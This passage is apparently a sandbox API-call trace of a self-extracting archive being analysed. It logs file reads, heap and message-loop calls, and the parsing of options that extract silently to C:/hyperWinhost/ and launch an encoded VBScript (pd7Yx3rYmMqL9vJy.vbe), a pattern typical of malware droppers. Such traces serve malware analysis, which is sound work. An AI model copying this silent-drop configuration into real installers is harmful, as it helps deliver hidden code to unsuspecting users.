[0038.130] SetFilePointer (in: hFile=0x144, lDistanceToMove=288793, lpDistanceToMoveHigh=0x375b44*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b44*=0) returned 0x46819 [0038.130] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375ba8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375ba8*=0) returned 0x46819 [0038.130] SetFilePointer (in: hFile=0x144, lDistanceToMove=288793, lpDistanceToMoveHigh=0x375b74*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b74*=0) returned 0x46819 [0038.130] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x375b74*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x375b74*=0) returned 0x46819 [0038.130] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5bba50 [0038.130] ReadFile (in: hFile=0x144, lpBuffer=0x5bba50, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x373a34, lpOverlapped=0x0 | out: lpBuffer=0x5bba50*, lpNumberOfBytesRead=0x373a34*=0x7, lpOverlapped=0x0) returned 1 [0038.130] ReadFile (in: hFile=0x144, lpBuffer=0x5bba57, nNumberOfBytesToRead=0x11, lpNumberOfBytesRead=0x373a34, lpOverlapped=0x0 | out: lpBuffer=0x5bba57*, lpNumberOfBytesRead=0x373a34*=0x11, lpOverlapped=0x0) returned 1 [0038.130] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bba50 | out: hHeap=0x590000) returned 1 [0038.131] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5cdf98 [0038.132] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8003) returned 0x5d5fa8 [0038.132] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x40000) returned 0x5ddfb8 [0038.137] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x52) returned 0x61dfc0 [0038.137] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xb54) returned 0x61e020 [0038.137] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x2220020 [0038.138] ReadFile (in: hFile=0x144, lpBuffer=0x2220020, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x3673bc, lpOverlapped=0x0 | out: lpBuffer=0x2220020*, lpNumberOfBytesRead=0x3673bc*=0x52, lpOverlapped=0x0) returned 1 [0038.138] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.138] GetProcAddress (hModule=0x77000000, lpProcName="PeekMessageW") returned 0x770205ba [0038.138] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x367344 | out: lpflOldProtect=0x367344*=0x4) returned 1 [0038.138] PeekMessageW (in: lpMsg=0x3673c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3673c8) returned 1 [0038.139] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.139] GetProcAddress (hModule=0x77000000, lpProcName="GetMessageW") returned 0x770178e2 [0038.139] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x367348 | out: lpflOldProtect=0x367348*=0x4) returned 1 [0038.139] GetMessageW (in: lpMsg=0x3673c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3673c8) returned 1 [0038.139] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.140] GetProcAddress (hModule=0x77000000, lpProcName="IsDialogMessageW") returned 0x7703c701 [0038.140] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x367350 | out: lpflOldProtect=0x367350*=0x4) returned 1 [0038.140] IsDialogMessageW (hDlg=0x302a6, lpMsg=0x3673c8) returned 0 [0038.140] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.140] GetProcAddress (hModule=0x77000000, lpProcName="TranslateMessage") returned 0x77017809 [0038.140] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x367354 | out: lpflOldProtect=0x367354*=0x4) returned 1 [0038.140] TranslateMessage (lpMsg=0x3673c8) returned 0 [0038.140] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x8d0ce4 | out: lpflOldProtect=0x8d0ce4*=0x4) returned 1 [0038.141] GetProcAddress (hModule=0x77000000, lpProcName="DispatchMessageW") returned 0x7701787b [0038.141] VirtualProtect (in: lpAddress=0x8d2000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x367354 | out: lpflOldProtect=0x367354*=0x4) returned 1 [0038.141] DispatchMessageW (lpMsg=0x3673c8) returned 0x0 [0038.141] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.141] PeekMessageW (in: lpMsg=0x3673d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3673d4) returned 0 [0038.141] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.141] PeekMessageW (in: lpMsg=0x3673c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3673c0) returned 0 [0038.141] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0038.152] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x2220020 | out: hHeap=0x590000) returned 1 [0038.155] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5ddfb8 | out: hHeap=0x590000) returned 1 [0038.155] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5d5fa8 | out: hHeap=0x590000) returned 1 [0038.156] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5cdf98 | out: hHeap=0x590000) returned 1 [0038.156] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x61dfc0, Size=0x86) returned 0x61eb80 [0038.156] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa6) returned 0x61ec10 [0038.156] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61eb80 | out: hHeap=0x590000) returned 1 [0038.156] SetFilePointer (in: hFile=0x144, lDistanceToMove=288793, lpDistanceToMoveHigh=0x375b88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x375b88*=0) returned 0x46819 [0038.156] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa4) returned 0x61ecc0 [0038.157] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ec10 | out: hHeap=0x590000) returned 1 [0038.157] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5ca0 | out: hHeap=0x590000) returned 1 [0038.158] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c3b10 | out: hHeap=0x590000) returned 1 [0038.158] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c4bd8 | out: hHeap=0x590000) returned 1 [0038.159] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61e020 | out: hHeap=0x590000) returned 1 [0038.159] CloseHandle (hObject=0x144) returned 1 [0038.160] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.161] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.161] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.161] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.162] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.163] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.163] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.163] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.163] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.164] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.164] GetDlgItem (hDlg=0x302a6, nIDDlgItem=102) returned 0x5005c [0038.164] SetWindowTextW (hWnd=0x5005c, lpString="C:/hyperWinhost/") returned 1 [0038.168] SendMessageW (hWnd=0x5005c, Msg=0x143, wParam=0x0, lParam=0x8ba472) returned 0x0 [0038.169] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0038.170] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="U") returned 0x2 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0038.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0038.170] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb88, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Silent", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 2 [0038.171] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="1") returned 0x2 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Overwrite", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 2 [0038.171] ExpandEnvironmentStringsW (in: lpSrc="\"C:/hyperWinhost/\"", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="\"C:/hyperWinhost/\"") returned 0x13 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0038.171] ExpandEnvironmentStringsW (in: lpSrc="pd7Yx3rYmMqL9vJy.vbe", lpDst=0x35fb7c, nSize=0x1000 | out: lpDst="pd7Yx3rYmMqL9vJy.vbe") returned 0x15 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.171] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0038.172] CompareStringW (Locale=0x400, 